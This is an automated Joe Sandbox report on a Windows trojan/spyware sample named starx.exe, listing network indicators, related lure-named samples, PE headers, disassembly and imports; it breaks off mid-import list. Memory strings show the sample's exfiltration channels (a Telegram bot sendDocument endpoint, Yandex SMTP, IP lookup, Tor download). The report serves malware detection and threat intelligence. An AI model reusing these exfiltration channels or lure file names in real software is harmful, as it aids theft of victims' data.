https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe
http://yandex.ocsp-responder.com03	0%	URL Reputation	safe
http://yandex.ocsp-responder.com03	0%	URL Reputation	safe
http://yandex.ocsp-responder.com03	0%	URL Reputation	safe
https://api.ipify.orgGETMozilla/5.0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.yandex.ru	77.88.21.158	true	false		high
smtp.yandex.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://subca.ocsp-certum.com0.	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.certum.pl/ca.cer09	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
http://127.0.0.1:HTTP/1.1	starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
http://rvlyyV.com	starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crls.yandex.net/certum/ycasha2.crl0-	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctnca.crl0k	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
https://api.telegram.org/bot%telegramapi%/	starx.exe, 00000000.00000002.365000476.00000000041BB000.00000040.00000001.sdmp, starx.exe, 00000002.00000002.1009380756.000000000044B000.00000040.00000001.sdmp	false		high
http://PsF9BDspIqQdTVi.net	starx.exe, 00000002.00000002.1014070589.0000000002A0E000.00000004.00000001.sdmp, starx.exe, 00000002.00000002.1014591376.0000000002ABE000.00000004.00000001.sdmp, starx.exe, 00000002.00000003.556314586.0000000005241000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com01	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://yandex.crl.certum.pl/ycasha2.crl0q	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
http://crl.certum.pl/ca.crl0h	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
https://www.certum.pl/CPS0	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
https://api.telegram.org/bot%telegramapi%/sendDocumentdocument---------------------------x	starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	starx.exe	false	0%, Virustotal, Browse URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certum.pl/CPS0	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high
http://smtp.yandex.com	starx.exe, 00000002.00000002.1014427219.0000000002A8C000.00000004.00000001.sdmp	false		high
http://yandex.ocsp-responder.com03	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.ipify.orgGETMozilla/5.0	starx.exe, 00000002.00000002.1013605272.0000000002981000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ycasha2.cer0	starx.exe, 00000002.00000002.1014474484.0000000002A99000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	Flag	ASN	ASN Name	Malicious
77.88.21.158	Russian Federation		13238	YANDEXRU	false

General Information

Joe Sandbox Version:	30.0.0 Red Diamond
Analysis ID:	286806
Start date:	17.09.2020
Start time:	08:02:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	starx.exe
Cookbook file name:	default.jbs
Analysis system description:	w10x64 Windows 10 64 bit v1803 with Office Professional Plus 2016, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@2/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 37.3% (good quality ratio 36.3%) Quality average: 84.2% Quality standard deviation: 24.7%
HCA Information:	Successful, ratio: 82% Number of executed functions: 144 Number of non-executed functions: 139
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, MusNotifyIcon.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 52.158.208.111, 52.184.221.185, 51.104.139.180, 92.122.213.247, 92.122.213.194, 67.26.81.254, 8.253.204.249, 67.27.157.254, 8.248.135.254, 8.253.204.120, 51.105.249.239, 51.11.168.160, 20.54.26.129, 13.74.179.117, 13.68.93.109, 40.90.22.188, 40.90.22.185, 40.90.22.191, 40.90.22.186, 40.90.22.184, 40.90.22.187, 40.90.22.183, 40.90.22.192, 52.155.217.156, 23.210.248.85, 23.210.249.50, 40.90.22.190, 51.104.136.2, 51.124.78.146 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, umwatson.trafficmanager.net, arc.msn.com.nsatc.net, am3p.wns.notify.windows.com.akadns.net, a1449.dscg2.akamai.net, wns.notify.windows.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, emea1.notify.windows.com.akadns.net, login.live.com, audownload.windowsupdate.nsatc.net, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, auto.au.download.windowsupdate.com.c.footprint.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, storeedgefd.dsx.mp.microsoft.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, client.wns.windows.com, fs.microsoft.com, sls.update.microsoft.com.akadns.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, storeedgefd.dsx.mp.microsoft.com.edgekey.net, login.msa.msidentity.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, sls.emea.update.microsoft.com.akadns.net, umwatsonrouting.trafficmanager.net, e16646.dscg.akamaiedge.net, bay-main-ips.b.lg.prod.aadmsa.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:03:31	API Interceptor	2202x Sleep call for process: starx.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
77.88.21.158	New Order #442-173.exe	Get hash	malicious	Browse
	PO.pdf.exe	Get hash	malicious	Browse
	PAYMENT.exe	Get hash	malicious	Browse
	starx.exe	Get hash	malicious	Browse
	DHL STATEMENT OF ACCOUNT - 1606411788.exe	Get hash	malicious	Browse
	ggSYicFbYHjnFN9.exe	Get hash	malicious	Browse
	PI 3I502.doc	Get hash	malicious	Browse
	invoice.pdf.exe	Get hash	malicious	Browse
	PI 056222.exe	Get hash	malicious	Browse
	PO copy.pdf.exe	Get hash	malicious	Browse
	SWIFT.exe	Get hash	malicious	Browse
	fqJdQuDtVSybUkk.exe	Get hash	malicious	Browse
	Payment Advice Note.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Exploit.RTF-ObfsStrm.Gen.15054.rtf	Get hash	malicious	Browse
	AmQ7H044mB.exe	Get hash	malicious	Browse
	Payment Confirmation.exe	Get hash	malicious	Browse
	INVOICE.pdf.exe	Get hash	malicious	Browse
	BL-DOC-20200716-07594-PL_04829.pdf.exe	Get hash	malicious	Browse
	PO.pdf.exe	Get hash	malicious	Browse
	SalesOrd_4552-228.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
smtp.yandex.ru	New Order #442-173.exe	Get hash	malicious	Browse	77.88.21.158
	PO.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	PAYMENT.exe	Get hash	malicious	Browse	77.88.21.158
	starx.exe	Get hash	malicious	Browse	77.88.21.158
	DHL STATEMENT OF ACCOUNT - 1606411788.exe	Get hash	malicious	Browse	77.88.21.158
	ggSYicFbYHjnFN9.exe	Get hash	malicious	Browse	77.88.21.158
	PI 3I502.doc	Get hash	malicious	Browse	77.88.21.158
	invoice.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	PI 056222.exe	Get hash	malicious	Browse	77.88.21.158
	PO copy.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	SWIFT.exe	Get hash	malicious	Browse	77.88.21.158
	fqJdQuDtVSybUkk.exe	Get hash	malicious	Browse	77.88.21.158
	Payment Advice Note.exe	Get hash	malicious	Browse	77.88.21.158
	SecuriteInfo.com.Exploit.RTF-ObfsStrm.Gen.15054.rtf	Get hash	malicious	Browse	77.88.21.158
	AmQ7H044mB.exe	Get hash	malicious	Browse	77.88.21.158
	Payment Confirmation.exe	Get hash	malicious	Browse	77.88.21.158
	INVOICE.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	BL-DOC-20200716-07594-PL_04829.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	PO.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	SalesOrd_4552-228.exe	Get hash	malicious	Browse	77.88.21.158

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
YANDEXRU	New Order #442-173.exe	Get hash	malicious	Browse	77.88.21.158
	https://www.intermedia.net/uniteapps	Get hash	malicious	Browse	87.250.250.119
	PO.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	PAYMENT.exe	Get hash	malicious	Browse	77.88.21.158
	starx.exe	Get hash	malicious	Browse	77.88.21.158
	DHL STATEMENT OF ACCOUNT - 1606411788.exe	Get hash	malicious	Browse	77.88.21.158
	ggSYicFbYHjnFN9.exe	Get hash	malicious	Browse	77.88.21.158
	PI 3I502.doc	Get hash	malicious	Browse	77.88.21.158
	invoice.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	PI 056222.exe	Get hash	malicious	Browse	77.88.21.158
	PO copy.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	SWIFT.exe	Get hash	malicious	Browse	77.88.21.158
	fqJdQuDtVSybUkk.exe	Get hash	malicious	Browse	77.88.21.158
	Payment Advice Note.exe	Get hash	malicious	Browse	77.88.21.158
	SecuriteInfo.com.Exploit.RTF-ObfsStrm.Gen.15054.rtf	Get hash	malicious	Browse	77.88.21.158
	AmQ7H044mB.exe	Get hash	malicious	Browse	77.88.21.158
	Payment Confirmation.exe	Get hash	malicious	Browse	77.88.21.158
	INVOICE.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	BL-DOC-20200716-07594-PL_04829.pdf.exe	Get hash	malicious	Browse	77.88.21.158
	PO.pdf.exe	Get hash	malicious	Browse	77.88.21.158

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.852514948197903
TrID:	Win32 Executable (generic) a (10002005/4) 99.66% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	starx.exe
File size:	731136
MD5:	2689e0bd727c85849f786822b360cd28
SHA1:	ae242d8709f588cc91f9ab814a5efeb6c1a160bc
SHA256:	37a4202e64f88ef928f46cdb05653527a1201aaffd431022eececff19348515b
SHA512:	ec9c70bdecb75045f4ccdc7b25454f4a2add25f42c53bb73d4aaeed3baad0bdcf4346e6901bc498e6cfde97c58db4d2df21de9ac3b13de79eddafe9bd06ed695
SSDEEP:	12288:24jGha4fxBa4wlDKffkMZvhxgnjeQZbzO/p1nZeeIItJ8HzYsX8q:2KlaBa1sMMZvIniOzOh1nwIQH0G
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	f4d89c988c86c4d4

Static PE Info

General
Entrypoint:	0x466268
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c2a7364bfb60f494f5befb8ae472c661

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00466010h
call 00007F32A4CEB819h
mov eax, dword ptr [0047E750h]
mov eax, dword ptr [eax]
call 00007F32A4D42209h
mov ecx, dword ptr [0047E884h]
mov eax, dword ptr [0047E750h]
mov eax, dword ptr [eax]
mov edx, dword ptr [00465A68h]
call 00007F32A4D42209h
mov eax, dword ptr [0047E750h]
mov eax, dword ptr [eax]
call 00007F32A4D4227Dh
call 00007F32A4CE98D8h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x80000	0x2496	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8d000	0x2aee4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x85000	0x7cd0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x84000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x652b0	0x65400	False	0.518561921296	data	6.51249992472	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
DATA	0x67000	0x17940	0x17a00	False	0.179852843915	data	3.23823284749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
BSS	0x7f000	0xe79	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.idata	0x80000	0x2496	0x2600	False	0.356805098684	data	4.92901622635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.tls	0x83000	0x10	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0x84000	0x18	0x200	False	0.05078125	data	0.206920017787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x85000	0x7cd0	0x7e00	False	0.572978670635	data	6.62241242211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x8d000	0x2aee4	0x2b000	False	0.774084756541	data	7.36054500572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x8df10	0x134	data
RT_CURSOR	0x8e044	0x134	data	English	United States
RT_CURSOR	0x8e178	0x134	data
RT_CURSOR	0x8e2ac	0x134	data	English	United States
RT_CURSOR	0x8e3e0	0x134	data
RT_CURSOR	0x8e514	0x134	data	English	United States
RT_CURSOR	0x8e648	0x134	data
RT_CURSOR	0x8e77c	0x134	data	English	United States
RT_CURSOR	0x8e8b0	0x134	data
RT_CURSOR	0x8e9e4	0x134	data	English	United States
RT_CURSOR	0x8eb18	0x134	data
RT_CURSOR	0x8ec4c	0x134	data	English	United States
RT_CURSOR	0x8ed80	0x134	data
RT_CURSOR	0x8eeb4	0x134	data	English	United States
RT_CURSOR	0x8efe8	0x204c8	data	English	United States
RT_BITMAP	0xaf4b0	0x1d0	data
RT_BITMAP	0xaf680	0x1d0	data	English	United States
RT_BITMAP	0xaf850	0x1e4	data
RT_BITMAP	0xafa34	0x1e4	data	English	United States
RT_BITMAP	0xafc18	0x1d0	data
RT_BITMAP	0xafde8	0x1d0	data	English	United States
RT_BITMAP	0xaffb8	0x1d0	data
RT_BITMAP	0xb0188	0x1d0	data	English	United States
RT_BITMAP	0xb0358	0x1d0	data
RT_BITMAP	0xb0528	0x1d0	data	English	United States
RT_BITMAP	0xb06f8	0x1d0	data
RT_BITMAP	0xb08c8	0x1d0	data	English	United States
RT_BITMAP	0xb0a98	0x1d0	data
RT_BITMAP	0xb0c68	0x1d0	data	English	United States
RT_BITMAP	0xb0e38	0x1d0	data
RT_BITMAP	0xb1008	0x1d0	data	English	United States
RT_BITMAP	0xb11d8	0x1d0	data
RT_BITMAP	0xb13a8	0x1d0	data	English	United States
RT_BITMAP	0xb1578	0x1d0	data
RT_BITMAP	0xb1748	0x1d0	data	English	United States
RT_BITMAP	0xb1918	0xe8	GLS_BINARY_LSB_FIRST
RT_BITMAP	0xb1a00	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xb1ae8	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0xb1f50	0x52	data
RT_STRING	0xb1fa4	0x17c	data
RT_STRING	0xb2120	0x3f8	data
RT_STRING	0xb2518	0x310	data
RT_STRING	0xb2828	0x298	AmigaOS bitmap font
RT_STRING	0xb2ac0	0x1f8	data
RT_STRING	0xb2cb8	0x110	data	English	United States
RT_STRING	0xb2dc8	0x11c	data
RT_STRING	0xb2ee4	0x1ec	data	English	United States
RT_STRING	0xb30d0	0x290	data
RT_STRING	0xb3360	0x13c	data	English	United States
RT_STRING	0xb349c	0x188	data
RT_STRING	0xb3624	0x2c8	data	English	United States
RT_STRING	0xb38ec	0xe8	data
RT_STRING	0xb39d4	0xfc	Hitachi SH big-endian COFF object file, not stripped, 17664 sections, symbol offset=0x65007200, 83907328 symbols, optional header size 28672	English	United States
RT_STRING	0xb3ad0	0x230	data
RT_STRING	0xb3d00	0xf8	data	English	United States
RT_STRING	0xb3df8	0x268	data
RT_STRING	0xb4060	0x21c	data	English	United States
RT_STRING	0xb427c	0x3f8	data
RT_STRING	0xb4674	0x418	data	English	United States
RT_STRING	0xb4a8c	0x360	data
RT_STRING	0xb4dec	0x364	data	English	United States
RT_STRING	0xb5150	0x3e8	data
RT_STRING	0xb5538	0x3e4	data	English	United States
RT_STRING	0xb591c	0x234	data
RT_STRING	0xb5b50	0x234	data	English	United States
RT_STRING	0xb5d84	0xec	data
RT_STRING	0xb5e70	0xec	data	English	United States
RT_STRING	0xb5f5c	0x1b4	data
RT_STRING	0xb6110	0x1b4	data	English	United States
RT_STRING	0xb62c4	0x3e4	data
RT_STRING	0xb66a8	0x3e4	data	English	United States
RT_STRING	0xb6a8c	0x358	data
RT_STRING	0xb6de4	0x358	data	English	United States
RT_STRING	0xb713c	0x2b4	data
RT_STRING	0xb73f0	0x2b4	data	English	United States
RT_RCDATA	0xb76a4	0x10	data
RT_RCDATA	0xb76b4	0x324	data
RT_RCDATA	0xb79d8	0x3ce	Delphi compiled form 'TForm1'
RT_GROUP_CURSOR	0xb7da8	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xb7dbc	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xb7dd0	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xb7de4	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xb7df8	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xb7e0c	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0xb7e20	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0xb7e34	0x14	data	English	United States
RT_HTML	0xb7e48	0x9a	data	English	United States

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, WriteFile, WinExec, WaitForSingleObjectEx, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetTempPathA, GetSystemTimeAsFileTime, GetSystemTime, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, FindFirstFileA, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, FileTimeToDosDateTime, ExitProcess, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExtTextOutA, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePen, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, ValidateRect, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, 